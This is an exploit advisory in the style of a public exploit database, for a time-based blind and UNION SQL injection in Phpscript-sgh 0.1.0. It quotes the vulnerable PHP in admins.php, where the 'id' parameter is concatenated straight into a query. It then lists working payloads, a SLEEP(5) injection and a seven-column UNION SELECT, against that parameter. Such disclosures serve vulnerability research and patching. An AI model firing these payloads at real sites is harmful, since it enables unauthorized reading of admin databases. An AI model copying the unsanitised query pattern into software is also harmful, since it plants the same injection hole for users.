Phpscript SGH 0.1.0 SQL Injection

`# Exploit Title: Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection  
# Date: 2020-12-04  
# Exploit Author: KeopssGroup0day,Inc  
# Vendor Homepage: https://github.com/geraked/phpscript-sgh  
# Software Link: https://github.com/geraked/phpscript-sgh  
# Version: 0.1.0  
# Tested on: Kali Linux  
  
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Source code(localhost/admin/admins.php):  
  
if ($_REQUEST['op']=='add') {  
$id = $username = $password = $conf_password = $firstname = $lastname =   
$email = $pic = $_SESSION['aapic'] = "";  
}  
else {  
$result = $conn->query("SELECT * FROM sgh_admins WHERE   
id=".test_input($_REQUEST['id'])." LIMIT 1");  
$row = $result->fetch_assoc();  
extract($row);  
$_SESSION['aapic'] = $pic;  
}  
  
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Parameter: id (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: op=edit&id=1 AND (SELECT 9367 FROM   
(SELECT(SLEEP(5)))pBEE)&_pjax=#pjax-container  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 7 columns  
Payload: op=edit&id=-5015 UNION ALL SELECT   
NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716271,0x536b4e4a775448674c73477175675a4c58476659474f524b535456706e7276474251424a4f67744b,0x717a626b71),NULL--   
-&_pjax=#pjax-container  
------------------------------------------------------------------------------------------------------------------------  
`